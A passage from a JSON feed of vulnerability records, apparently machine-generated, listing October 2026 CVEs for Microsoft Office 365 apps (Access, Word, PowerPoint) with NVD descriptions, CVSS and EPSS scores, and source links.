apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105717","asOf":"2026-10-15T15:24:06.703Z"},"epss":{"probability":0.00877,"percentile":0.58752,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105717&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105717","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105717","type":"primary","publishedAt":"2026-10-13T19:17:59.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105717","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105717&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105717, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105716","cveId":"CVE-2026-105716","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:59.493Z","updatedAt":"2026-10-15T15:25:15.800Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105716","asOf":"2026-10-15T15:25:15.800Z"},"epss":{"probability":0.00819,"percentile":0.56911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105716&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105716","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105716","type":"primary","publishedAt":"2026-10-13T19:17:59.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105716","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105716&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105716, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105715","cveId":"CVE-2026-105715","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Integer overflow or wraparound in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Integer overflow or wraparound in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:59.360Z","updatedAt":"2026-10-15T21:17:05.460Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105715","asOf":"2026-10-15T21:17:05.460Z"},"epss":{"probability":0.00608,"percentile":0.48772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105715&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105715","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105715","type":"primary","publishedAt":"2026-10-13T19:17:59.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105715","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105715&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105715, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105714","cveId":"CVE-2026-105714","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:59.223Z","updatedAt":"2026-10-15T15:26:08.657Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105714","asOf":"2026-10-15T15:26:08.657Z"},"epss":{"probability":0.00608,"percentile":0.48772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105714&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105714","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105714","type":"primary","publishedAt":"2026-10-13T19:17:59.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105714","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105714&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105714, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105599","cveId":"CVE-2026-105599","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:58.960Z","updatedAt":"2026-10-15T21:17:05.220Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105599","asOf":"2026-10-15T21:17:05.220Z"},"epss":{"probability":0.00624,"percentile":0.49638,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105599&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105599","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105599","type":"primary","publishedAt":"2026-10-13T19:17:58.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105599","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105599&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105599, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105598","cveId":"CVE-2026-105598","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:58.830Z","updatedAt":"2026-10-15T15:26:53.243Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105598","asOf":"2026-10-15T15:26:53.243Z"},"epss":{"probability":0.00819,"percentile":0.56911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105598&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105598","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105598","type":"primary","publishedAt":"2026-10-13T19:17:58.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105598","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105598&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105598, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105597","cveId":"CVE-2026-105597","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:58.700Z","updatedAt":"2026-10-15T15:30:41.673Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105597","asOf":"2026-10-15T15:30:41.673Z"},"epss":{"probability":0.00819,"percentile":0.56912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105597&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105597","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105597","type":"primary","publishedAt":"2026-10-13T19:17:58.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105597","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105597&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105597, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105596","cveId":"CVE-2026-105596","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:58.567Z","updatedAt":"2026-10-15T15:31:04.250Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105596","asOf":"2026-10-15T15:31:04.250Z"},"epss":{"probability":0.00819,"percentile":0.56911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105596&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105596","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105596","type":"primary","publishedAt":"2026-10-13T19:17:58.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105596","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105596&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105596, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105595","cveId":"CVE-2026-105595","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds read in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds read in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:58.437Z","updatedAt":"2026-10-15T15:49:41.373Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105595","asOf":"2026-10-15T15:49:41.373Z"},"epss":{"probability":0.00819,"percentile":0.56912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105595&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105595","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105595","type":"primary","publishedAt":"2026-10-13T19:17:58.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105595","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105595&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105595, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105593","cveId":"CVE-2026-105593","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:58.307Z","updatedAt":"2026-10-15T16:01:06.903Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105593","asOf":"2026-10-15T16:01:06.903Z"},"epss":{"probability":0.00819,"percentile":0.56912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105593&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105593","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105593","type":"primary","publishedAt":"2026-10-13T19:17:58.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105593","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105593&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105593, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105592","cveId":"CVE-2026-105592","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:58.177Z","updatedAt":"2026-10-15T16:02:06.580Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105592","asOf":"2026-10-15T16:02:06.580Z"},"epss":{"probability":0.00608,"percentile":0.48772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105592&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105592","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105592","type":"primary","publishedAt":"2026-10-13T19:17:58.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105592","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105592&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105592, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105591","cveId":"CVE-2026-105591","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:58.040Z","updatedAt":"2026-10-15T16:03:07.363Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105591","asOf":"2026-10-15T16:03:07.363Z"},"epss":{"probability":0.00819,"percentile":0.56912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105591&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105591","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105591","type":"primary","publishedAt":"2026-10-13T19:17:58.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105591","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 